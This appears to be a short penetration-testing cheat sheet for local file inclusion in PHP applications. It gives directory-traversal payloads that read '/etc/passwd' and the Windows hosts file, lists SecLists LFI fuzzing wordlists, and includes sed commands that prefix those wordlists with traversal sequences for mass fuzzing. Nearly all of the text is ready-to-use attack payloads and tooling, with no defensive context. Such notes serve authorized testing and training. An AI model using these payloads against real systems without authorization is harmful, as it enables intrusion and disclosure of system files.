Check PHP apps for file= style params. Try reading common files:

../../etc/passwd
../../windows/system32/drivers/etc/hosts

Wordlists

/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt

Convert wordlists for traversal prefix:

# Windows: replace C: with ../..
cat .../LFI-gracefulsecurity-windows.txt | sed 's/[Cc]\:/\.\.\/\.\.\/g' > LFI-windows.txt

# Linux: prepend ../..
cat .../LFI-gracefulsecurity-linux.txt | sed 's/^/\.\.\/\.\.\/g' > LFI-linux.txt

Other Wordlists

/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt
/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Windows-adeadfed.txt
/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-etc-files-of-all-linux-packages.txt
/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-linux-and-windows_by-1N3@CrowdShield.txt